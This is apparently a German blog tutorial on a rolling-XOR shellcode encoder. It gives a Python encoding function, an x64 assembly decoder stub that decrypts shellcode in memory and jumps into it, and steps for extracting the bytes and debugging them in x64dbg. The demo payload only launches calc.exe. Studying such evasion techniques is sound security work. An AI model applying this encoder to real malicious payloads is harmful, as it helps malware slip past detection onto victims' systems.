Im letzten Beitrag, habe ich einen verschlüsselten Shellcode im Arbeitsspeicher entschlüsselt und ausführen lassen. Als Verschlüsselung habe ich jedes Byte mit einer XOR-Berechnung umgewandelt.
Nun möchte ich etwas mehr Dynamik in die Verschlüsselung bringen, um das Entschlüsseln des Shellcodes etwas zu erschweren.
Wie bekomme ich nun die Statik, die durch den XOR-Schlüssel vorgegeben ist, heraus? Anstatt jedes Byte mit dem Schlüssel zu berechnen, mache ich dies nur für jedes zweite Byte. Die ausgelassenen Bytes verschlüssele ich dann mit dem Ergebnis des vorherigen: 2)
$EncryptedByte(even) = Byte(even) \wedge Key(XOR)$
$EncryptedByte(odd) = Byte(odd) \wedge EncryptedByte(even)$
An diesem Beispiel, sieht man nun, dass allein durch die Wahl eines anderen XOR-Schlüssels, die Ausgabe stark unterschiedlich ist.
Byte 1 | Byte 2 | Byte 3 | Byte 4 | |
---|---|---|---|---|
unverschlüsselt | 01 | AF | 45 | C3 |
XOR Wert 1 | 15 | 14 | 15 | 50 |
verschlüsselt | 14 | BB | 50 | 93 |
XOR Wert 2 | 57 | 56 | 57 | 12 |
verschlüsselt | 56 | F9 | 12 | D1 |
Die entsprechende Python Funktion ist schnell erklärt:
for
Schleife durchläuft jedes Bytedef encrypt(data: bytes, xor_key: int) -> bytes: transformed = bytearray() prev_enc_byte = 0 for i, byte in enumerate(data): if i % 2 == 0: # even byte positions enc_byte = byte ^ xor_key else: # odd byte positions enc_byte = byte ^ prev_enc_byte transformed.append(enc_byte) prev_enc_byte = enc_byte return bytes(transformed)
Nun muss das Assembly erstellt werden, welches die Verschlüsselung wieder Rückgängig macht. Den kompletten Code findet Ihr am Ende des Beitrags.
_start: xor rax, rax xor rbx, rbx xor rcx, rcx mov cl, 242 jmp short call_decoder
RAX, RBX und RCX
auf 0
CL
bekommt die Länge des Shellcodescall_decoder: call decoder Shellcode: db 0x75,0x3d...0x75
Decoder
auf und die Adresse der nächsten Anweiung (unser Shellcode) wird vom Register RSP
auf dem Stack gesichertdecoder: pop rsi
RSI
decode_loop: test rcx, rcx jz Shellcode
RCX
RCX
gleich 0
, dann springe zum Shellcodemov rdx, rsi sub dl, Shellcode test dl, 1 jnz odd_byte
RDX
bekommt die aktuelle Position, an der wir uns befindenodd_byte
Doch wie funktioniert der Vergleich hier? Die Anweisung TEST
prüft, indem Bits verglichen werden. Sehen wir uns die Zahlen 1 - 4 in Binärschreibweise an:
Dezimal | 1 | 2 | 3 | 4 |
---|---|---|---|---|
Binär | 0001 | 0010 | 0011 | 0100 |
Gerade Zahlen haben immer eine 0 im letzten Bit und ungerade eine 1.
mov al, [rsi] xor byte [rsi], 0x20 jmp post_processing
AL
für den nächsten Durchlauf0x20
post_processing
odd_byte: xor byte [rsi], al
post_processing: inc rsi dec rcx jmp decode_loop
RSI
und setze somit die aktuelle Position ein Byte weiterRCX
, die Länge des ShellcodesWenn die Bedingungen für das Ende der Schleife erreicht ist, wird direkt in den entschlüsselten Shellcode gesprungen und dieser dann ausgeführt.
Nun können wir den Code kompilieren:
nasm -f win64 poly2.asm -o poly.o
Das Bereinigen erledige ich mit ShenCode:
python shencode.py formatout -i poly2.o -s inspect ... 0x00000096: 20 00 50 60 48 31 c0 48 ... 0x00000400: a3 67 28 75 1a 00 00 00
python shencode.py extract -i poly2.o -o poly2.raw --start-offset 100 --end-offset 404
python shencode.py formatout -i poly2.raw --syntax c ... "\x48\x31\xc0...x67\x28\x75";
Nun brauchen wir noch einen Injecter um den Shellcode im Arbeitsspeicher zu platzieren. Diesen können wir aus dem vorigen Beitrag übernehmen
Nach der Kompilierung des Injecters können wir mit dem Debug starten. Ich nutze hierbei x64dbg.
Wir drücken F9 (Ausführen) und landen im Entry Point der Anwendung. Von hier aus suchen wir die Funktion main()
Ist diese gefunden, markieren wir die Zeile und drücken F4 (Ausführen bis Auswahl) und springen mit F7 in die Funktion.
Die letzte Call-Anweisung vor RET
ruft den Shellcode auf. Wir markieren diese Zeile und setzen einen Haltepunkt mit F2. Anschließend F9 und das Programm stoppt am Haltepunkt. Mit F7 springen wir hinein.
Nun befinden wir uns im Shellcode. Der Bereich unter der CALL-Anweisung ist unser verschlüsselter Shellcode. Alles drüber ist die Decoder-Routine. Führen wir nun STRG+F7 aus, wird die Ausführung verlangsamt animiert. Hierbei kann man sehr schön sehen, wie der untere Bereich entschlüsselt wird.
Ich habe an dieser Stelle wieder meine Calc-Payload benutzt, so dass am Ende calc.exe
ausgeführt wird.